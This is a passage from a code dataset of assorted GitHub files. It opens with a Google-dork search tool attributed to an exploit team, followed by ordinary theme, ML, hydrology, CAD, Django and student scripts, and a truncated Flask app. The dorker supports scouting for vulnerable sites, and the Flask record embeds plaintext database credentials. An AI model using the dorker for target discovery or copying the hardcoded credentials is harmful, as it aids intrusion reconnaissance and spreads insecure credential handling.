|| | () | () | \\_ \\\\\r\n|____/ \\___/|_| |_|\\_\\_|_| |_|\\__, ||_|\\___/ \\___/|_|___/\r\n |___/ \r\n \"\"\")\r\n\r\n\r\ndef clear(): #clear function XD\r\n if sys.platform.startswith('linux'):\r\n os.system('clear')\r\n elif sys.platform.startswith('freebsd'):\r\n os.system('clear')\r\n else:\r\n os.system('cls')\r\n\r\n# check python version \r\nif sys.version.startswith(\"3\"):\r\n slow(\"[!] python3 detected ...\")\r\n time.sleep(3)\r\nelse:\r\n slow(\"[x] you must be run using python3 ...\")\r\n time.sleep(3)\r\n sys.exit(1)\r\n\r\n# print starting XD\r\nslow('[!] starting ... ')\r\ntime.sleep(2)\r\nclear()\r\ntime.sleep(1)\r\nbanner()\r\nmed(\"\"\"\r\n[+] AUTHOR :\\033[32m Ph.Raku / J4R0S\r\n\\033[00m[+] GROUP : \\033[32mSecurity Exploiter / PureXploit Team\\033[00m\"\"\")\r\ntime.sleep(2)\r\n\r\ntry:\r\n namefile = input(\"\\n[?] want to save the dork result file (\\033[32m\\033[00mY/\\033[31mN\\033[00m) \").strip()\r\n dork = (\"\")\r\n\r\nexcept KeyboardInterrupt:\r\n print (\"\\n[!] you press ctrl + c\")\r\n time.sleep(0.5)\r\n print(\"\\n[!] exit\")\r\n sys.exit(1)\r\n\r\n\r\ndef savefile(namefile):\r\n file = open((dork) + \".txt\", \"a\")\r\n file.write(str(namefile))\r\n file.write(\"\\n\")\r\n file.close()\r\n\r\n\r\nif namefile.startswith(\"y\" or \"Y\"):\r\n print(\"[!] \\033[36minput filename without extension ✓\")\r\n dork = input(\"\\033[00m[?] enter the file name : \\033[32m\")\r\n savefile(namefile)\r\nelse:\r\n print (\"[*] \\033[31mfile not saved\\033[00m X \\n\")\r\n\r\n\r\ndef akhir():\r\n try:\r\n dork = input(\"\\n[*] enter your dork : \\033[32m\")\r\n uneed = input(\"\\033[00m[?] how much do you need :\\033[32m \")\r\n print (\"\\n \")\r\n\r\n requ = 0\r\n\r\n for results in search(dork, tld=\"com\", lang=\"en\", num=int(uneed), start=0, stop=None, pause=2):\r\n print (\"[*]\", results)\r\n time.sleep(0.1)\r\n requ += 1.\r\n if requ >= int(uneed):\r\n break\r\n\r\n namefile = (results)\r\n\r\n savefile(namefile)\r\n time.sleep(0.1)\r\n\r\n except KeyboardInterrupt:\r\n print (\"\\n\")\r\n print (\"[!] you press ctrl + c ... !\")\r\n print (\"[!] exit ..\")\r\n time.sleep(0.5)\r\n sys.exit(1)\r\n\r\n slow(\"[!] done ... \")\r\n sys.exit()\r\n\r\n\r\n\r\nakhir()","repo_name":"00SX/dorker","sub_path":"dorkerV1.py","file_name":"dorkerV1.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2763932354","text":"import os\nimport yaml\n\nfrom gi.repository import GLib, Gio\n\nimport rthemelib.theme_classes as tc\nimport rthemelib.plugin_manager as pm\nimport rthemelib.constants as constants\n\nHOME_ = os.path.expanduser('~')\nTHEME_DIRS_ = [(x + \"/rthemes\").replace(\"//\", \"/\") for x in GLib.get_system_data_dirs()] + \\\n [GLib.get_user_data_dir() + \"/rthemes\", GLib.get_home_dir() + \"/.rthemes\"]\n\nmanager = pm.PluginManager()\nrtheme_settings = Gio.Settings.new(\"io.risi.rtheme\")\n\n\ndef check_yaml(theme_file: str) -> tuple[bool, str]:\n \"\"\"Parses the theme file to make sure that it's valid.\"\"\"\n try:\n with open(theme_file, \"r\") as f:\n theme_data = yaml.safe_load(f)\n except (yaml.parser.ParserError, FileNotFoundError) as e:\n return False, repr(e)\n\n # Check Flags\n if \"flags\" not in theme_data:\n return False, \"No flags found\"\n # Removed due to plugins having custom flags\n # for flag in theme_data[\"flags\"]:\n # if flag not in constants.DEFAULT_FLAGS:\n # return False, f\"Invalid flag: {flag}\"\n if \"light\" not in theme_data[\"flags\"] and \"dark\" not in theme_data[\"flags\"]:\n return False, \"No light or dark flag found\"\n\n flags = theme_data[\"flags\"]\n variants = list(theme_data.keys())\n variants.remove(\"flags\") # Make sure that \"flags\" doesn't get detected as a variant\n\n # Check to make sure that each variant has a subvariant that matches the specified flags.\n for variant in variants:\n subvariants = list(theme_data[variant].keys())\n if \"light\" not in flags and (\"light\" in subvariants or \"global\" not in subvariants):\n return False, f\"light flag found in {variant} without light or global subvariant in {variant}\"\n if \"light\" in theme_data[\"flags\"] and \"light\" not in subvariants:\n return False, f\"light subvariant found in {variant} without light flag\"\n if \"dark\" not in theme_data[\"flags\"] and (\"dark\" in subvariants or \"global\" not in subvariants):\n return False, f\"dark flag found without dark or global subvariant in {variant}\"\n if \"dark\" in theme_data[\"flags\"] and \"dark\" not in subvariants:\n return False, f\"dark subvariant found in {variant} without dark flag\"\n if \"hc\" in theme_data[\"flags\"]:\n if \"light\" in theme_data[\"flags\"] and \"light-hc\" in subvariants:\n return False, f\"light and high Contrast flags found without light-hc subvariant in {variant}\"\n if \"dark\" in theme_data[\"flags\"] and \"dark-hc\" in subvariants:\n return False, f\"dark and high Contrast flags found without dark-hc subvariant in {variant}\"\n if \"hc\" not in theme_data[\"flags\"] and \"light-hc\" in subvariants:\n return False, f\"light high contrast subvariant found in {variant} without hc flag\"\n if \"hc\" not in theme_data[\"flags\"] and \"dark-hc\" in subvariants:\n return False, f\"dark high contrast subvariant found in {variant} without hc flag\"\n if \"hc\" not in theme_data[\"flags\"] and \"global-hc\" in subvariants:\n return False, f\"global high contrast subvariant found in {variant} without hc flag\"\n\n # Check for main variant\n if \"main\" not in theme_data:\n return False, \"No main variant found\"\n\n # Check Subvariants\n for variant in variants:\n for subvariant in theme_data[variant]:\n if subvariant not in constants.SUB_VARIANTS:\n return False, f\"Invalid subvariant: {subvariant}\"\n for theme_property in theme_data[variant][subvariant]:\n if theme_property not in constants.THEME_PROPERTIES:\n return False, f\"Invalid property: {theme_property}\"\n\n return True, \"Valid Theme\"\n\n\ndef apply_theme(theme: tc.Theme, variant_name: str, subvariant_name: str):\n manager.load_plugins()\n for plugin in manager.get_loaded_plugins():\n plugin.apply_theme(theme.get_subvariant_from_name(variant_name, subvariant_name))\n\n\ndef get_theme_list() -> list[str]:\n themes = []\n for theme_dir in THEME_DIRS_:\n if os.path.isdir(theme_dir):\n for theme in os.listdir(theme_dir):\n if check_yaml(f\"{theme_dir}/{theme}\")[0]:\n themes.append(theme.replace(\".rtheme\", \"\").replace(\".yaml\", \"\").replace(\".yml\", \"\"))\n return themes\n\n\ndef get_file_from_name(name) -> str:\n if os.path.isfile(name):\n return name\n else:\n for theme_dir in THEME_DIRS_:\n if os.path.isdir(theme_dir):\n for theme in os.listdir(theme_dir):\n if theme == f\"{name}.rtheme\" or theme == f\"{name}.yaml\" \\\n or theme == f\"{name}.yml\" \\\n and check_yaml(f\"{theme_dir}/{theme}\")[0]:\n return f\"{theme_dir}/{theme}\"\n return None\n\n\ndef get_current_theme() -> tc.Theme:\n theme = tc.Theme()\n theme.parse_yaml(get_file_from_name(\n rtheme_settings.get_string(\"theme-name\")\n ))\n return theme\n\n\ndef get_current_theme_path() -> str:\n return get_file_from_name(\n rtheme_settings.get_string(\"theme-name\")\n )\n\n\n# TEMPORARY, REMOVE IN 2 RELEASES\n# This is to deal with us renaming the preinstalled nord theme to solarized\nif rtheme_settings.get_string(\"theme-name\") == \"nord\" and \"nord\" not in get_theme_list():\n rtheme_settings.set_string(\"theme-name\", \"solarized\")\n","repo_name":"risiIndustries/rtheme","sub_path":"rthemelib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3182617494","text":"from genre_classifier.config import config as model_config\n\nfrom typing import List, BinaryIO, Tuple\n\nfrom api.config import get_logger\n_logger = get_logger(logger_name=__name__)\n\ndef validate_inputs(input_data):\n \"\"\" make sure that every file is in an allowed format \"\"\"\n\n errors = {}\n validated_data = {}\n\n for k,v in input_data.items():\n if v.filename.split('.')[-1] in model_config.ACCEPTED_FORMATS:\n validated_data[k] = v\n else:\n errors[k] = 'File extension not accepted'\n\n return validated_data, errors\n","repo_name":"KvRooijen/genre-classification","sub_path":"packages/ml_api/api/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36565412584","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 8 12:47:15 2018\n\n@author: Tom\n\"\"\"\n\nimport GenerationColouring2 as gc\nimport numpy as np\nimport pickle\nimport copy\n\nif __name__ == '__main__':\n \"\"\"\n # __spec__ = \"ModuleSpec(name='builtins', loader=)\"\n graph = np.genfromtxt('le450_15c_edges.csv',delimiter=',')\n #bug where first read character is shown as NaN instead of its value. Manually override this.\n graph[0,0] = 1 \n \n c=18\n generations = []\n fitnesses =[]\n best_individual=[]\n non_improvement=0\n no_solution = True\n best_fitness = None\n \n current_gen = gc.Generation(graph=graph,colours=c,pop_size=100)\n with open('diversity_check','wb') as fp:\n pickle.dump(current_gen,fp)\n \"\"\"\n \n with open('diversity_check','rb') as fp:\n gen0 = pickle.load(fp)\n \n individuals = gen0.population\n \n ls_2 = copy.deepcopy(gen0)\n ls_1 = copy.deepcopy(gen0)\n for i in range(0,10):\n ls_2.population[i].chromosome=ls_2.population[i].local_search2() \n \n\n for i in range(0,10):\n ls_1.population[i].local_search2() \n \n population = []\n population.append(gen0.population)\n population.append(ls_1.population)\n population.append(ls_2.population)\n \n with open('localsearch_check','wb') as fp:\n pickle.dump(population,fp)\n\n\"\"\"\n test = [1,2,2,3,1,5]\n test = list(enumerate(test))\n test[:][:][1]\n \n adjacent_vertex = [i for i,x in enumerate(individuals[0].graph[1,:]) if x]\n \n col = [[i,1] for i in range(0,451)]\n col = np.asarray(col)\n col2= [list(range(0,451))]\n \n test_c = gc.Colouring(graph=individuals[0].graph,colours=1,chromosome=col2)\n test_c.calc_fitness2(test_c.chromosome)\n\"\"\"\n\nif np.random.randint(0,2):\n t = 1\nelse:\n t=0\n print('smelly')","repo_name":"handychimp/UU-evocomp-assignment2","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12327813005","text":"from django.contrib import admin\nfrom .models import Product, Images, Skus, Brand\n\n\nclass BrandAdmin(admin.ModelAdmin):\n list_display = ('name', 'image_tag')\n fields = ('name', 'brand_link', 'image_icon', 'image_tag',)\n readonly_fields = ('image_tag',)\n\n\nclass ImageInLine(admin.TabularInline):\n model = Images\n\n\nclass SkusInLine(admin.TabularInline):\n model = Skus\n\n\nclass ProductAdmin(admin.ModelAdmin):\n list_display = ('product_id', 'product_name', 'category', 'entry_date', 'update_date')\n search_fields = ('product_id', 'product_name', 'category')\n list_filter = ('entry_date', 'update_date')\n ordering = ('-entry_date',)\n fields = ('brand', 'product_id', 'product_name', 'category', 'source_url')\n\n inlines = [\n ImageInLine,\n SkusInLine\n ]\n\n\nadmin.site.register(Product, ProductAdmin)\nadmin.site.register(Images)\nadmin.site.register(Skus)\nadmin.site.register(Brand, BrandAdmin)\n","repo_name":"ruhaib/MyFirstDjangoApp","sub_path":"mysite/super_store/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43868582351","text":"import sys\nimport re \nLABEL = {'O':'0', 'B-PER':'1', 'I-PER':'2', 'B-LOC':'3', 'I-LOC':'4', 'B-ORG':'5', 'I-ORG':'6'}\nID = {}\nWORD = set()\nPOS = set()\nwith open(sys.argv[1], 'r') as f:\n for line in f:\n if line.strip() != '':\n l = re.split(r'\\s+', line.strip())\n WORD.add(l[-1])\n POS.add(l[-2])\n\nWORD.add('PHI')\nWORD.add('OMEGA')\nPOS.add('PHIPOS')\nPOS.add('OMEGAPOS')\nword_list = sorted(list(WORD))\npos_list = sorted(list(POS))\n\nID_NUM = 0\nfor word in word_list:\n ID_NUM += 1\n ID['CURR---'+word+'---word'] = ID_NUM\n ID['PREV---'+word+'---word'] = ID_NUM+1\n ID['NEXT---'+word+'---word'] = ID_NUM+2\n ID_NUM += 2\n\nfor pos in pos_list:\n ID_NUM += 1\n ID['PREV---'+pos+'---pos'] = ID_NUM\n ID['NEXT---'+pos+'---pos'] = ID_NUM+1\n ID_NUM += 1\n\nID_NUM += 10\nID['CURR---UNKWORD'] = ID_NUM+1\nID['PREV---UNKWORD'] = ID_NUM+2\nID['NEXT---UNKWORD'] = ID_NUM+3\nID['PREV---UNKPOS'] = ID_NUM+4\nID['NEXT---UNKPOS'] = ID_NUM+5\nID['CAPI'] = ID_NUM+6\n\ndef build_feature(line, prev_line, next_line, mode):\n label, pos, word = re.split('\\s+', line.strip())\n prev_label, prev_pos, prev_word = re.split(r'\\s+', prev_line.strip())\n next_label, next_pos, next_word = re.split(r'\\s+', next_line.strip())\n fl = []\n # word\n if word in word_list:\n fl.append(ID['CURR---'+word+'---word'])\n else:\n fl.append(ID['CURR---UNKWORD'])\n if mode == 'word':\n return LABEL[label]+' '+ ' '.join(str(x)+':1' for x in sorted(list(set(fl))))+'\\n'\n # wordcap\n if word[0].isupper():\n fl.append(ID['CAPI'])\n if mode == 'wordcap':\n return LABEL[label]+' '+ ' '.join(str(x)+':1' for x in sorted(list(set(fl))))+'\\n'\n # poscon\n if mode == 'poscon':\n if prev_pos in pos_list:\n fl.append(ID['PREV---'+prev_pos+'---pos'])\n else:\n fl.append(ID['PREV---UNKPOS'])\n if next_pos in pos_list:\n fl.append(ID['NEXT---'+next_pos+'---pos'])\n else:\n fl.append(ID['NEXT---UNKPOS'])\n return LABEL[label]+' '+ ' '.join(str(x)+':1' for x in sorted(list(set(fl))))+'\\n'\n # lexcon\n if mode == 'lexcon':\n if prev_word in word_list:\n fl.append(ID['PREV---'+prev_word+'---word'])\n else:\n fl.append(ID['PREV---UNKWORD'])\n if next_word in word_list:\n fl.append(ID['NEXT---'+next_word+'---word'])\n else:\n fl.append(ID['NEXT---UNKWORD'])\n return LABEL[label]+' '+ ' '.join(str(x)+':1' for x in sorted(list(set(fl))))+'\\n'\n # bothcon\n if mode == 'bothcon':\n if prev_word in word_list:\n fl.append(ID['PREV---'+prev_word+'---word'])\n else:\n fl.append(ID['PREV---UNKWORD'])\n if next_word in word_list:\n fl.append(ID['NEXT---'+next_word+'---word'])\n else:\n fl.append(ID['NEXT---UNKWORD'])\n if prev_pos in pos_list:\n fl.append(ID['PREV---'+prev_pos+'---pos'])\n else:\n fl.append(ID['PREV---UNKPOS'])\n if next_pos in pos_list:\n fl.append(ID['NEXT---'+next_pos+'---pos'])\n else:\n fl.append(ID['NEXT---UNKPOS'])\n return LABEL[label]+' '+ ' '.join(str(x)+':1' for x in sorted(list(set(fl))))+'\\n'\n\nwith open (sys.argv[1]+'.'+sys.argv[3], 'w') as g:\n with open(sys.argv[1], 'r') as f:\n for sentence in re.split(r'\\n{2,}', f.read(),flags=re.DOTALL):\n if sentence.strip() != '':\n fs = ['X PHIPOS PHI']+re.split(r'\\n+', sentence.strip(),flags=re.DOTALL)+['X OMEGAPOS OMEGA']\n len_fs = len(fs)\n for index in range(1,len_fs-1):\n g.write(build_feature(fs[index],fs[index-1],fs[index+1],sys.argv[3]))\n\nwith open (sys.argv[2]+'.'+sys.argv[3], 'w') as g:\n with open(sys.argv[2], 'r') as f:\n for sentence in re.split(r'\\n{2,}', f.read(),flags=re.DOTALL):\n if sentence.strip() != '':\n fs = ['X PHIPOS PHI']+re.split(r'\\n+', sentence.strip(),flags=re.DOTALL)+['X OMEGAPOS OMEGA']\n len_fs = len(fs)\n for index in range(1,len_fs-1):\n g.write(build_feature(fs[index],fs[index-1],fs[index+1],sys.argv[3]))","repo_name":"flyaway1217/CS-6390-Information-Extraction","sub_path":"program #1 (NER)/ner.py","file_name":"ner.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38455912211","text":"from tensorflow.keras.datasets.mnist import load_data\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nfrom mh_vae import MHVAE\nfrom mh_ds import loadDataset\nfrom mh_utils import buildQ, buildP\nimport logging as log\n\nlog.basicConfig(level=log.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n\n## Loading data...\nX_train, y_train, X_val, y_val, X_test, y_test = loadDataset('beamng')\nX = np.concatenate((X_train, X_val, X_test), axis=0)\nX = X[:100]\n\n## Building models...\nlatent_dim = 20\n\nmodel_q = buildQ()\nmodel_q.summary()\n\nmodel_p = buildP()\nmodel_p.summary()\n\n### MHVAE model...\nmodel = MHVAE(input_dim=(66, 200, 3), latent_dim=latent_dim, model_p=model_p, model_q=model_q, regularization_const=100000)\nmodel.compile(optimizer='adam')\nmodel.load_weights('mh_cvae_weights.h5')\nlog.info('\\033[92m' + 'Model loaded!' + '\\033[0m')\npred = model.predict(X)\n\nfig, axs = plt.subplots(len(X), 2, figsize=(10, 1.5 * len(X)))\nfor i in range(len(X)):\n axs[i, 0].imshow(X[i])\n axs[i, 1].imshow(pred[i])\n axs[i, 0].axis('off')\n axs[i, 1].axis('off')\n\nplt.savefig('mh_cvae_beamng2udacity.pdf')\nplt.close()","repo_name":"M-H-Amini/PhDWorks","sub_path":"mh_vae_beamng2udacity.py","file_name":"mh_vae_beamng2udacity.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9233046101","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 1 18:42:39 2020\n\n@author: Rafael Barbedo Fontana\n\"\"\"\n\nimport time\n# import get_mini_functions\n\nt_start = time.time()\n# =============================================================================\n# Inputs\n# =============================================================================\nversion = '250'\nfolderbho = 'D:\\\\OneDrive\\\\PRH\\Brasil_data\\\\BHO_2017_v_01_05_'+version+'\\\\'\n\n# Save files\nsavemini = 0 # give 1 to save files\nfolder = \"Iguacu/\" # Folder where files will be saved\n\n# lista de coordenadas das subbacias (ordenadas de jusante para montante**)\ncoords_list = [(-51.73, -25.98),(-50.388, -25.880)] # Iguacu Curso MGB\n# coords_list = [(-36.4, -10.5)] # S Francisco\n\n# Relacoes geomorfologicas\nsmin = 0.01\nsmax = 10000\nnman = 0.030\ngeorel = {'a': 0.89, 'b': 0.52, 'c': 0.05, 'd': 0.44}\n\n# =============================================================================\n# Etapa 1: Carrega os shapes de BHO e filtra subbacias\n# =============================================================================\ndemfn = folder + 'dem_raw.tif'\nfdrfn = folder + 'fdr.tif'\nhandfn = folder + 'hand_bho_250.tif'\n\n# Carrega os shapes de BHO\nbho_files = bho_getfiles(version, folderbho)\nprint('Loading BHO files...')\ndf_bho_area = carrega_bho(bho_files['area'], demfn)\ndf_bho_trecho = carrega_bho(bho_files['trecho'], demfn)\ndf_bho_ponto = carrega_bho(bho_files['ponto'], demfn)\n\ndf_bho_area.set_index('dra_pk', inplace=True)\ndf_bho_trecho.set_index('drn_pk', inplace=True)\ndf_bho_ponto.set_index('drp_pk', inplace=True)\n\n# Carrega os shapes de BHO no GEE\n# fc_bho_area = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_area_drenagem')\n# fc_bho_trecho = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_trecho_drenagem')\n# fc_bho_ponto = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_ponto_drenagem')\n\n# Encontra cobacia de subbacias das coordenadas\n# Se o metodo for por nunivotto desconsiderar e usar código do nunivotto\ncods = coords_in_bho(coords_list, df_bho_area)\n\n# Coleta gdf nas áreas de interesse com atributo de subbacia\nprint('... Defining subbasins in region of interest')\nroi_df_area, roi_df_trecho, roi_df_ponto, lista_cobacias, lista_pontos = roi_define(\n df_bho_area, df_bho_trecho, df_bho_ponto, cods)\ndel df_bho_area, df_bho_trecho, df_bho_ponto\n\n# roi_fc_area = fc_bho_area.filter(ee.Filter.inList('cobacia', lista_cobacias)).sort('cobacia')\n# roi_fc_trecho = fc_bho_trecho.filter(ee.Filter.inList('cobacia', lista_cobacias)).sort('cobacia')\n# roi_fc_ponto = fc_bho_ponto.filter(ee.Filter.inList('idponto', lista_pontos)).sort('idponto')\n\n# =============================================================================\n# Etapa 2: Modifica BHO para atender requisitos de area e comprimentos de trecho\n# =============================================================================\nprint('... Computing geometries')\n# Aggregate set: uparea_min = 30; lmin = 6\nuparea_min = 0\nlmin = 0\nmtrecs, mpols, bho_trecs = bho2mini(roi_df_trecho, roi_df_area, uparea_min, lmin)\n\n# =============================================================================\n# Etapa 3: Coleta declividades nos trechos BHO\n# =============================================================================\nprint('... Computing slopes on river stretches')\nmtrecs = get_slopes(mtrecs, mpols, roi_df_ponto, demfn)\n\n# roi_df_area.to_file(folder + 'bho_area_'+version+'.shp')\n# roi_df_trecho.to_file(folder + 'bho_trecho_'+version+'.shp')\n# mtrecs.to_file(folder+'trechos_250.shp')\n# mpols.to_file(folder+'pols_250.shp')\n\n# =============================================================================\n# Etapa 4: Coleta as HRUs\n# =============================================================================\n# Coleta as HRUs\nprint('... Collecting Hydrological Response Units')\nhrufn = folder + 'HRU_iguacu_2010.tif'\nhru_df = get_hrus(mpols, hrufn)\n\n# =============================================================================\n# Etapa 4: Escreve o mini com as informações obtidas e parâmetros definidos\n# =============================================================================\n\n# Escreve o mini.gtp e o mini.shp\nprint('... Writing MINI.gtp and MINI.shp files')\nmini_gdf, mini_txt = write_mini(mtrecs, mpols, hru_df, georel, smin, smax, nman)\n\nt_end = time.time(); print('Writed MINI.gtp successfully\\nTime to process: ' + str((t_end-t_start)/60))\n\n# =============================================================================\n# Etapa 4: Escreve o arquivo de Cota-Area (somente para rodar modulo inercial)\n# =============================================================================\n# Compute hand by BHO\n# handmap = get_hand(mtrecs, roi_df_ponto, demfn, fdrfn)\n# array2raster('hand_bho_250.tif', demfn, handmap)\n\n# Escreve o cota-area\nprint('... Writing COTA_AREA.flp')\nt_start = time.time()\nca_txt = cota_area(mpols, mtrecs, demfn, handfn)\nt_end = time.time(); print('Writed COTA_AREA.flp successfully\\nTime to process: ' + str((t_end-t_start)/60) + ' min')\n\n# =============================================================================\n# Save output files\n# =============================================================================\n\nif savemini == 1:\n mini_gdf.to_file(folder + \"mini_bho_\"+version+\".shp\")\n\n with open(folder + \"mini_bho_\"+version+\".gtp\", \"w\") as text_file:\n print(mini_txt, file=text_file)\n text_file.close()\n\n with open(folder + \"cota_area_bho_\"+version+\".flp\", \"w\") as text_file:\n print(ca_txt, file=text_file)\n text_file.close()\n #roi_df_trecho.to_file(folder + \"bho_\"+version+\"_trecho_iguacu.shp\")\n#\n\n\n\n\n\n\n\n# =============================================================================\n# Etapa 3: Coleta declividades\n# =============================================================================\n# # Carrega os shapes de BHO no GEE\n# fc_bho_area = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_area_drenagem')\n# fc_bho_trecho = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_trecho_drenagem')\n# fc_bho_ponto = ee.FeatureCollection('projects/ee-rbfontana/assets/geoft_bho_2017_'+version+'_ponto_drenagem')\n\n# # Filtra os shapes para a area de interesse\n# roi_fc_area = fc_bho_area.filter(ee.Filter.inList('cobacia', lista_cobacias)).sort('cobacia')\n# roi_fc_trecho = fc_bho_trecho.filter(ee.Filter.inList('cobacia', lista_cobacias)).sort('cobacia')\n# roi_fc_ponto = fc_bho_ponto.filter(ee.Filter.inList('idponto', lista_pontos)).sort('idponto')\n\n# ## AS\n# #roi_fc_area = fc_bho_area\n# #roi_fc_trecho = fc_bho_trecho\n# #roi_fc_ponto = fc_bho_ponto\n\n# # Coleta as elevações nos pontos mon-jus dos trechos\n# print('... Collecting elevation data from Google Earth Engine platform')\n# # Uncomment function to use\n# roi_df_ponto['elev'], roi_df_trecho['delevafl'] = get_elevations(roi_fc_ponto, roi_fc_area, download_dem_map=0)\n# #roi_df_ponto['elev'] = get_elevations(roi_fc_ponto, roi_fc_area, download_dem_map=0)\n\n# # Calcula a declividade a partir das elevações dos pontos\n# print('... Computing slopes on river stretches')\n# roi_df_trecho[['nudecltrec', 'nucompafl', 'nudeclafl']] = get_slopes(roi_df_trecho, roi_df_ponto)\n","repo_name":"hge-admin/BHO2MGB","sub_path":"bho2mgb_plugin/proj_BHO-MGB/get_mini_main.py","file_name":"get_mini_main.py","file_ext":"py","file_size_in_byte":7293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70192533812","text":"from utils import extrude_shape, punch_hole\nimport cadquery as cq\n\nelements = None\nbottom_holes = None\n\n# These are set from dimensions.py\npillar_width = 0\npillar_height = 0\nscrew_head_radius = 0\nscrew_head_depth = 0\nscrew_radius = 0\n\n\ndef init(positions, thickness):\n \"\"\"Because these need to match in multiple models, we create the\n elemments dynamically\"\"\"\n global elements, bottom_holes\n elements = [\n {\n \"x\": 0,\n \"y\": 0,\n \"shape\": cq.Sketch()\n .push(positions)\n .trapezoid(pillar_width, pillar_height, 90, mode=\"a\"),\n \"height\": thickness,\n }\n ]\n\n bottom_holes = [\n {\n \"x\": 0,\n \"y\": 0,\n \"shape\": cq.Sketch().push(positions).circle(screw_head_radius, mode=\"a\"),\n \"depth\": screw_head_depth,\n },\n {\n \"x\": 0,\n \"y\": 0,\n \"shape\": cq.Sketch().push(positions).circle(screw_radius, mode=\"a\"),\n \"depth\": 100,\n },\n ]\n\n\ndef add(\n *,\n model,\n width,\n height,\n thickness,\n offset_x,\n offset_y,\n bottom_face,\n back_face,\n shell_t\n):\n if bottom_face:\n # Mounting pillars\n for element in elements:\n model = extrude_shape(\n model=model,\n face=bottom_face,\n w=width,\n h=height,\n x_offset=offset_x,\n y_offset=shell_t + offset_y,\n element=element,\n height=-(element[\"height\"] + shell_t),\n )\n # Screw holes\n for hole in bottom_holes:\n model = punch_hole(\n model=model,\n face=bottom_face,\n w=width,\n h=height,\n x_offset=offset_x,\n y_offset=shell_t + offset_y,\n hole=hole,\n depth=hole[\"depth\"],\n )\n\n return model\n","repo_name":"Proteus-Typer/model-a","sub_path":"components/screen_pillars.py","file_name":"screen_pillars.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23232096535","text":"import random\np=0 \nd=0\n\nwhile True:\n r = input(\"Press r to roll the dice : \")\n\n if r == \"r\":\n \td = random.randint(1,6)\n \tprint(\"You got : \",d)\n\n if d == 1 or d == 6:\n p = d\n break \n\nprint(\"wow u r in game from now. You are at :\", p)\t","repo_name":"kushal2005/kushal","sub_path":"k5.py","file_name":"k5.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24679760393","text":"class Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n realSTR = ''\n for letter in range(len(s)):\n realSTR = s[letter]\n for x in range(letter, len(s)):\n for j in range(realSTR):\n if realSTR[j] == s[x]:\n break \n\n \n\n s[letter]","repo_name":"feng-zhang2495/Competitive-Programming-CCC-Other","sub_path":"Leetcode/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75025974773","text":"import time\nfrom cs1robots import *\ncreate_world(avenues=10,streets=10)\nhubo=Robot(orientation='N', avenue=2, street=1)\nhubo.set_trace(\"blue\")\n\ndef turn_right():\n for _ in range(3):\n hubo.turn_left()\ndef turn_around():\n for _ in range(2):\n hubo.turn_left()\n\ndef ori():\n for i in range(4):\n if hubo.facing_north():\n return i\n else:\n hubo.turn_left()\ndef ave():\n for i in range(10):\n if not hubo.front_is_clear():\n y= 10-i\n turn_around()\n for j in range(i):\n hubo.move()\n turn_around()\n return y\n else:\n hubo.move() \n\ndef sol():\n z = ori()\n y = ave()\n turn_right()\n x = ave()\n hubo.turn_left()\n if z==0:\n z=\"N\"\n elif z==1:\n z=\"E\"\n elif z==2:\n z=\"S\"\n elif z==3:\n z=\"W\"\n print(z,x,y)\nsol()\n","repo_name":"maeseok/python-college","sub_path":"과거/task_3_2.py","file_name":"task_3_2.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4164954292","text":"from flask import Flask, render_template, request, flash, redirect, url_for, session\nfrom forms import CommentaryForm, LoginForm, ArticleForm\nfrom functools import wraps\nimport psycopg2\nimport queries_function\n\napp = Flask(__name__)\nmddb = psycopg2.connect(host = \"pgserver.mah.se\",\n user = \"m11p3220\",\n password = \"a4e094h8\",\n database = \"m11p3220\")\n\ndef is_logged_in(f):\n\n# Den funktion som tillgängliggör innehåll enbart för inloggade användare.\n \n @wraps(f)\n def wrap(*args, **kwargs):\n if \"logged_in\" in session:\n return f(*args, **kwargs)\n else:\n flash(\"Bara för behöriga, sorry!\", \"success\")\n return redirect(url_for(\"login\"))\n return wrap\n\n@app.route(\"/\")\ndef index():\n\n# Listar alla databasens artiklar med den nyaste överst.\n\n mddb = psycopg2.connect(host = \"pgserver.mah.se\",\n user=\"m11p3220\",\n password = \"a4e094h8\",\n database = 